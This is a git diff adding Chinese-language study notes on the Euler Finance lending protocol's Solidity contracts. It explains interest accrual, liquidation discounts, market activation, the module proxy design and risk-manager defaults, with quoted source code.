+1. 将storage存储的相关变量缓存到memory中
+2. 将余额精度统一为 1e18
+3. 更新累积利息
+    - `deltaT = block.timestamp - lastInterestAccumulatorUpdate`
+    - `newInterestAccumulator = (1 + interestRate)^deltaT * oldInterestAccumulator`
+    - `newTotalBorrows = oldTotalBorrows * (newInterestAccumulator / oldInterestAccumulator)`
+    - `reserveBalance += (newTotalBorrows - oldTotalBorrows) * feeRate`
+4. 将新的值写入stroge，检查overflow
+
+```ts
+function initAssetCache(address underlying, AssetStorage storage assetStorage, AssetCache memory assetCache) internal view returns (bool dirty) {
+    dirty = false;
+
+    assetCache.underlying = underlying;
+
+    // Storage loads
+
+    assetCache.lastInterestAccumulatorUpdate = assetStorage.lastInterestAccumulatorUpdate;
+    uint8 underlyingDecimals = assetCache.underlyingDecimals = assetStorage.underlyingDecimals;
+    assetCache.interestRateModel = assetStorage.interestRateModel;
+    assetCache.interestRate = assetStorage.interestRate;
+    assetCache.reserveFee = assetStorage.reserveFee;
+    assetCache.pricingType = assetStorage.pricingType;
+    assetCache.pricingParameters = assetStorage.pricingParameters;
+
+    assetCache.reserveBalance = assetStorage.reserveBalance;
+
+    assetCache.totalBalances = assetStorage.totalBalances;
+    assetCache.totalBorrows = assetStorage.totalBorrows;
+
+    assetCache.interestAccumulator = assetStorage.interestAccumulator;
+
+    // Derived state
+
+    unchecked {
+        assetCache.underlyingDecimalsScaler = 10**(18 - underlyingDecimals);
+        assetCache.maxExternalAmount = MAX_SANE_AMOUNT / assetCache.underlyingDecimalsScaler;
+    }
+
+    uint poolSize = callBalanceOf(assetCache, address(this));
+    if (poolSize <= assetCache.maxExternalAmount) {
+        unchecked { assetCache.poolSize = poolSize * assetCache.underlyingDecimalsScaler; }
+    } else {
+        assetCache.poolSize = 0;
+    }
+
+    // Update interest accumulator and reserves
+
+    if (block.timestamp != assetCache.lastInterestAccumulatorUpdate) {
+        dirty = true;
+
+        uint deltaT = block.timestamp - assetCache.lastInterestAccumulatorUpdate;
+
+        // Compute new values
+
+        uint newInterestAccumulator = (RPow.rpow(uint(int(assetCache.interestRate) + 1e27), deltaT, 1e27) * assetCache.interestAccumulator) / 1e27;
+
+        uint newTotalBorrows = assetCache.totalBorrows * newInterestAccumulator / assetCache.interestAccumulator;
+
+        uint newReserveBalance = assetCache.reserveBalance;
+        uint newTotalBalances = assetCache.totalBalances;
+
+        uint feeAmount = (newTotalBorrows - assetCache.totalBorrows)
+                            * (assetCache.reserveFee == type(uint32).max ? DEFAULT_RESERVE_FEE : assetCache.reserveFee)
+                            / (RESERVE_FEE_SCALE * INTERNAL_DEBT_PRECISION);
+
+        if (feeAmount != 0) {
+            uint poolAssets = assetCache.poolSize + (newTotalBorrows / INTERNAL_DEBT_PRECISION);
+            newTotalBalances = poolAssets * newTotalBalances / (poolAssets - feeAmount);
+            newReserveBalance += newTotalBalances - assetCache.totalBalances;
+        }
+
+        // Store new values in assetCache, only if no overflows will occur
+
+        if (newTotalBalances <= MAX_SANE_AMOUNT && newTotalBorrows <= MAX_SANE_DEBT_AMOUNT) {
+            assetCache.totalBorrows = encodeDebtAmount(newTotalBorrows);
+            assetCache.interestAccumulator = newInterestAccumulator;
+            assetCache.lastInterestAccumulatorUpdate = uint40(block.timestamp);
+
+            if (newTotalBalances != assetCache.totalBalances) {
+                assetCache.reserveBalance = encodeSmallAmount(newReserveBalance);
+                assetCache.totalBalances = encodeAmount(newTotalBalances);
+            }
+        }
+    }
+}
+```
+
+## Utils
+
+### updateInterestRate
+
+根据资金利用率 `utilisation` 计算利率，利率有最大值 `MAX_ALLOWED_INTEREST_RATE` 和最小值 `MIN_ALLOWED_INTEREST_RATE`。
+
+利率模型是分段函数 （折线）
+
+```ts
+// BaseLogic.sol
+function updateInterestRate(AssetStorage storage assetStorage, AssetCache memory assetCache) internal {
+    uint32 utilisation;
+
+    {
+        uint totalBorrows = assetCache.totalBorrows / INTERNAL_DEBT_PRECISION;
+        uint poolAssets = assetCache.poolSize + totalBorrows;
+        if (poolAssets == 0) utilisation = 0; // empty pool arbitrarily given utilisation of 0
+        else utilisation = uint32(totalBorrows * (uint(type(uint32).max) * 1e18) / poolAssets / 1e18);
+    }
+
+    bytes memory result = callInternalModule(assetCache.interestRateModel,
+                                                abi.encodeWithSelector(BaseIRM.computeInterestRate.selector, assetCache.underlying, utilisation));
+
+    (int96 newInterestRate) = abi.decode(result, (int96));
+
+    assetStorage.interestRate = assetCache.interestRate = newInterestRate;
+}
+
+// BaseIRM.sol
+function computeInterestRate(address underlying, uint32 utilisation) external returns (int96) {
+    int96 rate = computeInterestRateImpl(underlying, utilisation);
+
+    if (rate > MAX_ALLOWED_INTEREST_RATE) rate = MAX_ALLOWED_INTEREST_RATE;
+    else if (rate < MIN_ALLOWED_INTEREST_RATE) rate = MIN_ALLOWED_INTEREST_RATE;
+
+    return rate;
+}
+
+// BaseIRMLinearKink
+
+function computeInterestRateImpl(address, uint32 utilisation) internal override view returns (int96) {
+    uint ir = baseRate;
+
+    if (utilisation <= kink) {
+        ir += utilisation * slope1;
+    } else {
+        ir += kink * slope1;
+        ir += slope2 * (utilisation - kink);
+    }
+
+    return int96(int(ir));
+}
+```
+
+## Balances
+
+### computeExchangeRate
+
+## Borrow
+
+## Reserves
+
+## Token asset transfers
+
+## Liquidity
+
+### updateAverageLiquidity
+
+更新用户在时间窗口内的平均流动性（抵押资产价值 - 负债资产价值），时间窗口 `AVERAGE_LIQUIDITY_PERIOD = 24 * 60 * 60` 即 24 小时
+
+1. 判断最后一次用户的 liquidity 更新时间 `lastAverageLiquidityUpdate` 是否为 0
+
+   - 若为 0 说明该用户之前未添加过流动性（抵押资产），不更新
+
+2. 计算上次更新到目前的时间 `deltaT`
+
+   - 若为 0 说明该用户在一个区块内重复触发了更新进程，不更新
+
+3. 更新用户平均流动性更新时间 `lastAverageLiquidityUpdate`
+
+4. 调用 `computeNewAverageLiquidity` 更新用户的平均流动性
+
+```solidity
+function updateAverageLiquidity(address account) internal {
+    uint lastAverageLiquidityUpdate = accountLookup[account].lastAverageLiquidityUpdate;
+    if (lastAverageLiquidityUpdate == 0) return;
+
+    uint deltaT = block.timestamp - lastAverageLiquidityUpdate;
+    if (deltaT == 0) return;
+
+    accountLookup[account].lastAverageLiquidityUpdate = uint40(block.timestamp);
+    accountLookup[account].averageLiquidity = computeNewAverageLiquidity(account, deltaT);
+}
+```
+
+### computeNewAverageLiquidity
+
+计算用户在时间窗口内的流动性，按照时间加权算法
+
+```math
+AVERAGE_LIQUIDITY_PERIOD = prevDuration + currDuration
+NewAverageLiquidity = (prevDuration * prevAverageLiquidity + currDuration * currAverageLiquidity) / AVERAGE_LIQUIDITY_PERIOD
+```
+
+1. 计算 `currDuration` 最大不超过窗口时间 24 小时
+2. `prevDuration = AVERAGE_LIQUIDITY_PERIOD - currDuration`
+3. 计算当前的流动性 `currAverageLiquidity` 即抵押资产价值超出负债资产价值的部分，最小为 0
+4. 根据时间加权公式计算时间窗口内的平均流动性
+
+```solidity
+uint internal constant AVERAGE_LIQUIDITY_PERIOD = 24 * 60 * 60;
+
+
+function computeNewAverageLiquidity(address account, uint deltaT) private returns (uint) {
+    uint currDuration = deltaT >= AVERAGE_LIQUIDITY_PERIOD ? AVERAGE_LIQUIDITY_PERIOD : deltaT;
+    uint prevDuration = AVERAGE_LIQUIDITY_PERIOD - currDuration;
+
+    uint currAverageLiquidity;
+
+    {
+        (uint collateralValue, uint liabilityValue) = getAccountLiquidity(account);
+        currAverageLiquidity = collateralValue > liabilityValue ? collateralValue - liabilityValue : 0;
+    }
+
+    return (accountLookup[account].averageLiquidity * prevDuration / AVERAGE_LIQUIDITY_PERIOD) +
+            (currAverageLiquidity * currDuration / AVERAGE_LIQUIDITY_PERIOD);
+}
+```
+
+### getAccountLiquidity
+
+计算用户当前的 抵押资产价值 和 负债资产价值，调用 `RiskManager.computeLiquidity`
+
+```solidity
+function getAccountLiquidity(address account) internal returns (uint collateralValue, uint liabilityValue) {
+    bytes memory result = callInternalModule(MODULEID__RISK_MANAGER, abi.encodeWithSelector(IRiskManager.computeLiquidity.selector, account));
+    (IRiskManager.LiquidityStatus memory status) = abi.decode(result, (IRiskManager.LiquidityStatus));
+
+    collateralValue = status.collateralValue;
+    liabilityValue = status.liabilityValue;
+}
+```
+
+- [RiskManager.computeLiquidity](./RiskManager.md#computeliquidity)
diff --git a/defi/Euler/contracts/EToken.md b/defi/Euler/contracts/EToken.md
new file mode 100644
index 000000000..356135cc8
--- /dev/null
+++ b/defi/Euler/contracts/EToken.md
@@ -0,0 +1,35 @@
+# Euler EToken
+
+## mint&burn
+
+### mint
+
+```solidity
+/// @notice Mint eTokens and a corresponding amount of dTokens ("self-borrow")
+/// @param subAccountId 0 for primary, 1-255 for a sub-account
+/// @param amount In underlying units
+function mint(uint subAccountId, uint amount) external nonReentrant {
+    (address underlying, AssetStorage storage assetStorage, address proxyAddr, address msgSender) = CALLER();
+    address account = getSubAccount(msgSender, subAccountId);
+
+    updateAverageLiquidity(account);
+    emit RequestMint(account, amount);
+
+    AssetCache memory assetCache = loadAssetCache(underlying, assetStorage);
+
+    amount = decodeExternalAmount(assetCache, amount);
+    uint amountInternal = underlyingAmountToBalanceRoundUp(assetCache, amount);
+    amount = balanceToUnderlyingAmount(assetCache, amountInternal);
+
+    // Mint ETokens
+
+    increaseBalance(assetStorage, assetCache, proxyAddr, account, amountInternal);
+
+    // Mint DTokens
+
+    increaseBorrow(assetStorage, assetCache, assetStorage.dTokenAddress, account, amount);
+
+    checkLiquidity(account);
+    logAssetStatus(assetCache);
+}
+```
diff --git a/defi/Euler/contracts/Liquidation.md b/defi/Euler/contracts/Liquidation.md
new file mode 100644
index 000000000..4a001b06b
--- /dev/null
+++ b/defi/Euler/contracts/Liquidation.md
@@ -0,0 +1,296 @@
+# Euler Liquidation
+
+## liquidate flow
+
+1. 更新清算人的 liquidity 状态
+2. 更新被清算人的 liquidity 状态
+3. 根据被清算账户的状态计算需要清算的债务和需要扣除的抵押 `computeLiqOpp()`
+4. 执行清算，将债务从被清算人转移到清算人，并将抵押资产转给清算人
+
+## liquidate
+
+调用清算函数执行清算流程，会根据被清算人的健康系数，清算人的平均流动性来决定其清算折扣（折扣越高，获得抵押资产越多）
+
+- `violator` 被清算账户
+- `underlying` 待偿还资产（需要清算的债务）
+- `collateral` 清算人获得的清算抵押资产
+- `repay` 清算债务的数量，不能超过最大可清算债务数量
+- `minYield` 指定清算人接受抵押资产的最低数量 （少于该数量不执行清算）
+
+```solidity
+/// @notice Attempts to perform a liquidation
+/// @param violator Address that may be in collateral violation
+/// @param underlying Token that is to be repayed
+/// @param collateral Token that is to be seized
+/// @param repay The amount of underlying DTokens to be transferred from violator to sender, in units of underlying
+/// @param minYield The minimum acceptable amount of collateral ETokens to be transferred from violator to sender, in units of collateral
+function liquidate(address violator, address underlying, address collateral, uint repay, uint minYield) external nonReentrant {
+    require(accountLookup[violator].deferLiquidityStatus == DEFERLIQUIDITY__NONE, "e/liq/violator-liquidity-deferred");
+
+    address liquidator = unpackTrailingParamMsgSender();
+
+    emit RequestLiquidate(liquidator, violator, underlying, collateral, repay, minYield);
+
+    // both update average liquidity
+    updateAverageLiquidity(liquidator);
+    updateAverageLiquidity(violator);
+
+
+    LiquidationLocals memory liqLocs;
+
+    liqLocs.liquidator = liquidator;
+    liqLocs.violator = violator;
+    liqLocs.underlying = underlying;
+    liqLocs.collateral = collateral;
+
+    // Compute how much repay liquidator could pay.
+    // The more repay, the more discounting collateral liquidator will receive.
+    computeLiqOpp(liqLocs);
+
+    // acually execute liquidation
+    executeLiquidation(liqLocs, repay, minYield);
+}
+
+function executeLiquidation(LiquidationLocals memory liqLocs, uint desiredRepay, uint minYield) private {
+    require(desiredRepay <= liqLocs.liqOpp.repay, "e/liq/excessive-repay-amount");
+
+
+    // transfer DToken from violator to liquidator
+    uint repay;
+
+    {
+        AssetStorage storage underlyingAssetStorage = eTokenLookup[underlyingLookup[liqLocs.underlying].eTokenAddress];
+        AssetCache memory underlyingAssetCache = loadAssetCache(liqLocs.underlying, underlyingAssetStorage);
+
+        if (desiredRepay == liqLocs.liqOpp.repay) repay = liqLocs.repayPreFees;
+        else repay = desiredRepay * (1e18 * 1e18 / (1e18 + UNDERLYING_RESERVES_FEE)) / 1e18;
+
+        {
+            uint repayExtra = desiredRepay - repay;
+
+            // Liquidator takes on violator's debt:
+
+            transferBorrow(underlyingAssetStorage, underlyingAssetCache, underlyingAssetStorage.dTokenAddress, liqLocs.violator, liqLocs.liquidator, repay);
+
+            // Extra debt is minted and assigned to liquidator:
+
+            increaseBorrow(underlyingAssetStorage, underlyingAssetCache, underlyingAssetStorage.dTokenAddress, liqLocs.liquidator, repayExtra);
+
+            // The underlying's reserve is credited to compensate for this extra debt:
+
+            {
+                uint poolAssets = underlyingAssetCache.poolSize + (underlyingAssetCache.totalBorrows / INTERNAL_DEBT_PRECISION);
+                uint newTotalBalances = poolAssets * underlyingAssetCache.totalBalances / (poolAssets - repayExtra);
+                increaseReserves(underlyingAssetStorage, underlyingAssetCache, newTotalBalances - underlyingAssetCache.totalBalances);
+            }
+        }
+
+        logAssetStatus(underlyingAssetCache);
+    }
+
+
+    // transfer EToken from liquidator to violator
+    uint yield;
+
+    {
+        AssetStorage storage collateralAssetStorage = eTokenLookup[underlyingLookup[liqLocs.collateral].eTokenAddress];
+        AssetCache memory collateralAssetCache = loadAssetCache(liqLocs.collateral, collateralAssetStorage);
+
+        yield = repay * liqLocs.liqOpp.conversionRate / 1e18;
+        require(yield >= minYield, "e/liq/min-yield");
+
+        // Liquidator gets violator's collateral:
+
+        address eTokenAddress = underlyingLookup[collateralAssetCache.underlying].eTokenAddress;
+
+        transferBalance(collateralAssetStorage, collateralAssetCache, eTokenAddress, liqLocs.violator, liqLocs.liquidator, underlyingAmountToBalance(collateralAssetCache, yield));
+
+        logAssetStatus(collateralAssetCache);
+    }
+
+
+    // Since liquidator is taking on new debt, liquidity must be checked:
+
+    checkLiquidity(liqLocs.liquidator);
+
+    emitLiquidationLog(liqLocs, repay, yield);
+}
+
+```
+
+## computeLiqOpp
+
+以将被清算账户健康系数 `HealthScore` 调整到 1.25 作为目标，计算清算折扣 `discount`, 需要偿还的债务资产数量 `repay`, 应扣除的抵押资产数量 `yield` 等
+
+```math
+repay
+```
+
+1. 条件检查
+   - 不能清算同一母账户的子账户
+   - 被清算人的清算资产都已进入市场
+2. 检查 `HealthScore` 必须 < 1, 否则 revert
+3. 计算清算折扣率
+   - `baseDiscount` 基础清算折扣率，`HealthScore` 比 1 越小折扣越大，并且需要附加准备金的费率
+   - `discountBooster` 清算折扣的附加乘数（清算人如果提供的流动性越多，享受的清算折扣则越大）
+   - `discount` 该笔清算享受的实际折扣率
+4. 计算需要偿还的金额，使被清算人达到目标健康系数 1.25
+   - 将抵押和负债都竟有风险价值调整因子调整到 `RiskAdjustment`, 便于比较和计算
+   - 计算将当前账户调整到目标健康系数需要清算多少债务资产
+   - 清算债务价值不能超过该账户的所有抵押价值
+   - 期间考虑了清算折扣
+5. 换算清算债务到偿还抵押的数量
+   - `repay` 清算债务数量 / `conversionRate` = `yeild` 需要偿还的抵押数量
+   - 其中准备金费将从 repay 中扣除 `UNDERLYING_RESERVES_FEE`
+
+```solidity
+
+/// @notice Information about a prospective liquidation opportunity
+struct LiquidationOpportunity {
+    uint repay;
+    uint yield;
+    uint healthScore;
+
+    // Only populated if repay > 0:
+    uint baseDiscount;
+    uint discount;
+    uint conversionRate;
+}
+
+struct LiquidationLocals {
+    address liquidator;
+    address violator;
+    address underlying;
+    address collateral;
+
+    uint underlyingPrice;
+    uint collateralPrice;
+
+    LiquidationOpportunity liqOpp;
+
+    uint repayPreFees;
+}
+
+function computeLiqOpp(LiquidationLocals memory liqLocs) private {
+    // Can't liquidate self
+    require(!isSubAccountOf(liqLocs.violator, liqLocs.liquidator), "e/liq/self-liquidation");
+    require(isEnteredInMarket(liqLocs.violator, liqLocs.underlying), "e/liq/violator-not-entered-underlying");
+    require(isEnteredInMarket(liqLocs.violator, liqLocs.collateral), "e/liq/violator-not-entered-collateral");
+
+    liqLocs.underlyingPrice = getAssetPrice(liqLocs.underlying);
+    liqLocs.collateralPrice = getAssetPrice(liqLocs.collateral);
+
+    LiquidationOpportunity memory liqOpp = liqLocs.liqOpp;
+
+    AssetStorage storage underlyingAssetStorage = eTokenLookup[underlyingLookup[liqLocs.underlying].eTokenAddress];
+    AssetCache memory underlyingAssetCache = loadAssetCache(liqLocs.underlying, underlyingAssetStorage);
+
+    AssetStorage storage collateralAssetStorage = eTokenLookup[underlyingLookup[liqLocs.collateral].eTokenAddress];
+    AssetCache memory collateralAssetCache = loadAssetCache(liqLocs.collateral, collateralAssetStorage);
+
+    liqOpp.repay = liqOpp.yield = 0;
+
+    (uint collateralValue, uint liabilityValue) = getAccountLiquidity(liqLocs.violator);
+
+    if (liabilityValue == 0) {
+        liqOpp.healthScore = type(uint).max;
+        return; // no violation
+    }
+
+    liqOpp.healthScore = collateralValue * 1e18 / liabilityValue;
+
+    if (collateralValue >= liabilityValue) {
+        return; // no violation
+    }
+
+    // At this point healthScore must be < 1 since collateral < liability
+
+    // Compute discount
+
+    {
+        uint baseDiscount = UNDERLYING_RESERVES_FEE + (1e18 - liqOpp.healthScore);
+
+        uint discountBooster = computeDiscountBooster(liqLocs.liquidator, liabilityValue);
+
+        uint discount = baseDiscount * discountBooster / 1e18;
+
+        if (discount > (baseDiscount + MAXIMUM_BOOSTER_DISCOUNT)) discount = baseDiscount + MAXIMUM_BOOSTER_DISCOUNT;
+        if (discount > MAXIMUM_DISCOUNT) discount = MAXIMUM_DISCOUNT;
+
+        liqOpp.baseDiscount = baseDiscount;
+        liqOpp.discount = discount;
+        liqOpp.conversionRate = liqLocs.underlyingPrice * 1e18 / liqLocs.collateralPrice * 1e18 / (1e18 - discount);
+    }
+
+    // Determine amount to repay to bring user to target health
+
+    if (liqLocs.underlying == liqLocs.collateral) {
+        liqOpp.repay = type(uint).max;
+    } else {
+        AssetConfig memory collateralConfig = resolveAssetConfig(liqLocs.collateral);
+        AssetConfig memory underlyingConfig = resolveAssetConfig(liqLocs.underlying);
+
+        uint collateralFactor = collateralConfig.collateralFactor;
+        uint borrowFactor = underlyingConfig.borrowFactor;
+
+        uint liabilityValueTarget = liabilityValue * TARGET_HEALTH / 1e18;
+
+        // factor will unique value to risk-adjusted
+        // These factors are first converted into standard 1e18-scale fractions, then adjusted according to TARGET_HEALTH and the discount:
+        uint borrowAdj = borrowFactor != 0 ? TARGET_HEALTH * CONFIG_FACTOR_SCALE / borrowFactor : MAX_SANE_DEBT_AMOUNT;
+        uint collateralAdj = 1e18 * uint(collateralFactor) / CONFIG_FACTOR_SCALE * 1e18 / (1e18 - liqOpp.discount);
+
+        if (borrowAdj <= collateralAdj) {
+            liqOpp.repay = type(uint).max;
+        } else {
+            // liabilityValueTarget >= liabilityValue > collateralValue
+            uint maxRepayInReference = (liabilityValueTarget - collateralValue) * 1e18 / (borrowAdj - collateralAdj); // ??
+            liqOpp.repay = maxRepayInReference * 1e18 / liqLocs.underlyingPrice;
+        }
+    }
+
+    // Limit repay to current owed
+    // This can happen when there are multiple borrows and liquidating this one won't bring the violator back to solvency
+
+    {
+        uint currentOwed = getCurrentOwed(underlyingAssetStorage, underlyingAssetCache, liqLocs.violator);
+        if (liqOpp.repay > currentOwed) liqOpp.repay = currentOwed;
+    }
+
+    // Limit yield to borrower's available collateral, and reduce repay if necessary
+    // This can happen when borrower has multiple collaterals and seizing all of this one won't bring the violator back to solvency
+
+    liqOpp.yield = liqOpp.repay * liqOpp.conversionRate / 1e18;
+
+    {
+        uint collateralBalance = balanceToUnderlyingAmount(collateralAssetCache, collateralAssetStorage.users[liqLocs.violator].balance);
+
+        if (collateralBalance < liqOpp.yield) {
+            liqOpp.repay = collateralBalance * 1e18 / liqOpp.conversionRate;
+            liqOpp.yield = collateralBalance;
+        }
+    }
+
+    // Adjust repay to account for reserves fee
+
+    liqLocs.repayPreFees = liqOpp.repay;
+    liqOpp.repay = liqOpp.repay * (1e18 + UNDERLYING_RESERVES_FEE) / 1e18;
+}
+```
+
+### computeDiscountBooster
+
+根据清算人的 `AverageLiquidity` 返回清算折扣的附加乘数（清算人如果提供的流动性越多，享受的清算折扣则越大）
+
+```solidity
+// Returns 1e18-scale fraction > 1 representing how much faster the booster grows for this liquidator
+
+function computeDiscountBooster(address liquidator, uint violatorLiabilityValue) private returns (uint) {
+    uint booster = getUpdatedAverageLiquidityWithDelegate(liquidator) * 1e18 / violatorLiabilityValue;
+    if (booster > 1e18) booster = 1e18;
+
+    booster = booster * (DISCOUNT_BOOSTER_SLOPE - 1e18) / 1e18;
+
+    return booster + 1e18;
+}
+```
diff --git a/defi/Euler/contracts/Markets.md b/defi/Euler/contracts/Markets.md
new file mode 100644
index 000000000..b655cb44c
--- /dev/null
+++ b/defi/Euler/contracts/Markets.md
@@ -0,0 +1,83 @@
+# Euler Markets
+
+## active markets
+
+### doActivateMarket
+
+用户激活资产进入 Markets，之后可以对该资产进行抵押和借贷操作
+
+1. 激活的资产不包括 PToken
+2. 激活列表用户之间相互独立
+3. token地址不能为modules地址以及本Market合约地址
+4. token精度不能超过18
+5. 初始化资产相关配置 `assetStorage`
+
+```solidity
+/// @notice Create an Euler pool and associated EToken and DToken addresses.
+/// @param underlying The address of an ERC20-compliant token. There must be an initialised uniswap3 pool for the underlying/reference asset pair.
+/// @return The created EToken, or the existing EToken if already activated.
+function activateMarket(address underlying) external nonReentrant returns (address) {
+    require(pTokenLookup[underlying] == address(0), "e/markets/invalid-token");
+    return doActivateMarket(underlying);
+}
+
+function doActivateMarket(address underlying) private returns (address) {
+    // Pre-existing
+
+    if (underlyingLookup[underlying].eTokenAddress != address(0)) return underlyingLookup[underlying].eTokenAddress;
+
+
+    // Validation
+
+    require(trustedSenders[underlying].moduleId == 0 && underlying != address(this), "e/markets/invalid-token");
+
+    uint8 decimals = IERC20(underlying).decimals();
+    require(decimals <= 18, "e/too-many-decimals");
+
+
+    // Get risk manager parameters
+
+    IRiskManager.NewMarketParameters memory params;
+
+    {
+        bytes memory result = callInternalModule(MODULEID__RISK_MANAGER,
+                                                    abi.encodeWithSelector(IRiskManager.getNewMarketParameters.selector, underlying));
+        (params) = abi.decode(result, (IRiskManager.NewMarketParameters));
+    }
+
+
+    // Create proxies
+
+    address childEToken = params.config.eTokenAddress = _createProxy(MODULEID__ETOKEN);
+    address childDToken = _createProxy(MODULEID__DTOKEN);
+
+
+    // Setup storage
+
+    underlyingLookup[underlying] = params.config;
+
+    dTokenLookup[childDToken] = childEToken;
+
+    AssetStorage storage assetStorage = eTokenLookup[childEToken];
+
+    assetStorage.underlying = underlying;
+    assetStorage.pricingType = params.pricingType;
+    assetStorage.pricingParameters = params.pricingParameters;
+
+    assetStorage.dTokenAddress = childDToken;
+
+    assetStorage.lastInterestAccumulatorUpdate = uint40(block.timestamp);
+    assetStorage.underlyingDecimals = decimals;
+    assetStorage.interestRateModel = uint32(MODULEID__IRM_DEFAULT);
+    assetStorage.reserveFee = type(uint32).max; // default
+
+    assetStorage.interestAccumulator = INITIAL_INTEREST_ACCUMULATOR;
+
+
+    emit MarketActivated(underlying, childEToken, childDToken);
+
+    return childEToken;
+}
+```
+
+- [getNewMarketParameters](./RiskManager.md#getNewMarketParameters)
\ No newline at end of file
diff --git a/defi/Euler/contracts/Proxy.md b/defi/Euler/contracts/Proxy.md
new file mode 100644
index 000000000..c93420ab4
--- /dev/null
+++ b/defi/Euler/contracts/Proxy.md
@@ -0,0 +1,76 @@
+# Euler Proxy
+
+## constructor
+
+构造函数内指定创建者为 creator。
+
+```solidity
+constructor() {
+    creator = msg.sender;
+}
+```
+
+通常是 `Euler.sol` 合约为每个模块创建 Proxy 合约实例, 并映射到对应的 implementation 合约。
+
+```solidity
+// src/Euler.sol
+
+contract Euler is Base {
+    constructor(address admin, address installerModule) {
+        ...
+
+        moduleLookup[MODULEID__INSTALLER] = installerModule;
+        address installerProxy = _createProxy(MODULEID__INSTALLER);
+        trustedSenders[installerProxy].moduleImpl = installerModule;
+    }
+    ...
+}
+```
+
+- [BaseLogic#_createProxy](./BaseLogic.md#_createProxy)
+
+## fallback
+
+因为 proxy 没有其他函数，所有调用都会进入 fallback （常见的proxy原理）。
+
+Euler 的fallback做了改造，若是来自模块调用，则进入发送日志逻辑，而来自模块之外的调用则统一调用 `Euler.dispatch` 函数。这样做的目的是为了让通过 `emitViaProxy_Transfer` 和 `emitViaProxy_Approval` 发出的event会通过 proxy 合约发送，而不是具体的模块逻辑合约。
+
+`Euler.dispatch` 会调用对应模块的 implementation 合约。
+
+```solidity
+// External interface
+
+fallback() external {
+    address creator_ = creator;
+
+    if (msg.sender == creator_) {
+        assembly {
+            mstore(0, 0)
+            calldatacopy(31, 0, calldatasize())
+
+            switch mload(0) // numTopics
+                case 0 { log0(32,  sub(calldatasize(), 1)) }
+                case 1 { log1(64,  sub(calldatasize(), 33),  mload(32)) }
+                case 2 { log2(96,  sub(calldatasize(), 65),  mload(32), mload(64)) }
+                case 3 { log3(128, sub(calldatasize(), 97),  mload(32), mload(64), mload(96)) }
+                case 4 { log4(160, sub(calldatasize(), 129), mload(32), mload(64), mload(96), mload(128)) }
+                default { revert(0, 0) }
+
+            return(0, 0)
+        }
+    } else {
+        assembly {
+            mstore(0, 0xe9c4a3ac00000000000000000000000000000000000000000000000000000000) // dispatch() selector
+            calldatacopy(4, 0, calldatasize())
+            mstore(add(4, calldatasize()), shl(96, caller()))
+
+            let result := call(gas(), creator_, 0, 0, add(24, calldatasize()), 0, 0)
+            returndatacopy(0, 0, returndatasize())
+
+            switch result
+                case 0 { revert(0, returndatasize()) }
+                default { return(0, returndatasize()) }
+        }
+    }
+}
+```
diff --git a/defi/Euler/contracts/README.md b/defi/Euler/contracts/README.md
new file mode 100644
index 000000000..ddd7acea7
--- /dev/null
+++ b/defi/Euler/contracts/README.md
@@ -0,0 +1,24 @@
+# Euler Contracts Guide
+
+## Moudles
+
+Euler 一共 9 个模块，通过此函数创建 Proxy，后续升级可以根据需求分模块升级
+
+- `DToken` 债务凭证
+- `Etoken` 抵押凭证
+- `Exec` 执行合约（可批量执行操作）
+- `Governance` 治理模块
+- `Installer` 模块安装器，涉及模块的设置和权限
+- `Liquidiation` 清算模块
+- `Markets` 资产市场，存储资产在 Euler 借贷市场中的相关参数，例如 `BorrowFactor` `CollateralFactor`
+- `RiskManager` 风险管理模块
+- `Swap` 交易模块（用户 EToken 的交易，不是 underlying）
+
+## Moudles Upgrade
+
+Euler finance 对于常规的合约可升级模式进行了改进，形成了模块化升级模式，相比于常规 Proxy 模式有以下特点：
+
+1. 可以将合约拆分成各个模块单独管理版本，例如可以仅升级其中一个模块而不用升级所有逻辑合约
+2. 协议所有 Storage 状态变量都集中在入口合约上 `Euler.sol`，并非分布于不同模块的 Proxy 合约上，对于状态管理更加方便
+3. 部分日志可以由模块 Proxy 发出，而不是统一由入口合约 `Euler.sol` 发出，详见 `emitViaProxy_Transfer` 和 `emitViaProxy_Approval`
+4. 每个模块都有 `moudleId` 和 `moduleGitCommits` 作为特征，id 是每种模块的固定编号，GitCommits 是版本标记，便于比对
diff --git a/defi/Euler/contracts/RiskManager.md b/defi/Euler/contracts/RiskManager.md
new file mode 100644
index 000000000..109f5d0bb
--- /dev/null
+++ b/defi/Euler/contracts/RiskManager.md
@@ -0,0 +1,239 @@
+# Euler RiskManager
+
+## Default market parameters
+
+### getNewMarketParameters
+
+获取资产在 Markets 中的初始化参数，若非 PToken， 则需要自动匹配 UniswapV3Pool 地址，选择流动性最好的一档费率池子
+
+1. 默认资产参数都将给予最低的安全权限
+   - 资产是安全等级最低的隔离层资产 （Isolation-tier）
+   - collateralFactor 为 0，因为 `collateral risk-adjustment = assetValue * collateralFactor`
+   - borrowFactor 为最大值，因为 `liability risk-adjustment = assetValue / borrowFactor`
+   - twap 价格给予最大值
+2. 若是参考资产（目前是 WETH，所有资产在 Euler 中都是以 WETH 计价）
+3. 若是 PToken，价格初始化为 0
+4. 剩下的资产即为拥有 EToken 和 DToken 的类别，需要初始化对应的 UniswapV3Pool 的地址
+   - 遍历该资产与 WETH 组成的交易对，所有费率档次的池子，取其中流动性最好的作为默认交易池子地址
+   - 若不合适，需要后期通过治理投票更改
+   - `pricingParameters` 存储交易池子的费率，只对该类资产有效
+
+```solidity
+// Constants.col
+// Pricing types
+uint16 internal constant PRICINGTYPE__PEGGED = 1;           //  WETH
+uint16 internal constant PRICINGTYPE__UNISWAP3_TWAP = 2;    // EToken and DToken
+uint16 internal constant PRICINGTYPE__FORWARDED = 3;        // PToken
+
+// RiskManager.sol
+function getNewMarketParameters(address underlying) external override returns (NewMarketParameters memory p) {
+    p.config.borrowIsolated = true;
+    p.config.collateralFactor = uint32(0);
+    p.config.borrowFactor = type(uint32).max;
+    p.config.twapWindow = type(uint24).max;
+
+    // referenceAsset now is WETH
+    // so WETH's price is always 1
+    if (underlying == referenceAsset) {
+        // 1:1 peg
+
+        p.pricingType = PRICINGTYPE__PEGGED; // 1
+        p.pricingParameters = uint32(0);
+    } else if (pTokenLookup[underlying] != address(0)) {
+        p.pricingType = PRICINGTYPE__FORWARDED;
+        p.pricingParameters = uint32(0);
+
+        p.config.collateralFactor = underlyingLookup[pTokenLookup[underlying]].collateralFactor;
+    } else {
+        // Uniswap3 TWAP
+
+        // The uniswap pool (fee-level) with the highest in-range liquidity is used by default.
+        // This is a heuristic and can easily be manipulated by the activator, so users should
+        // verify the selection is suitable before using the pool. Otherwise, governance will
+        // need to change the pricing config for the market.
+
+        address pool = address(0);
+        uint24 fee = 0;
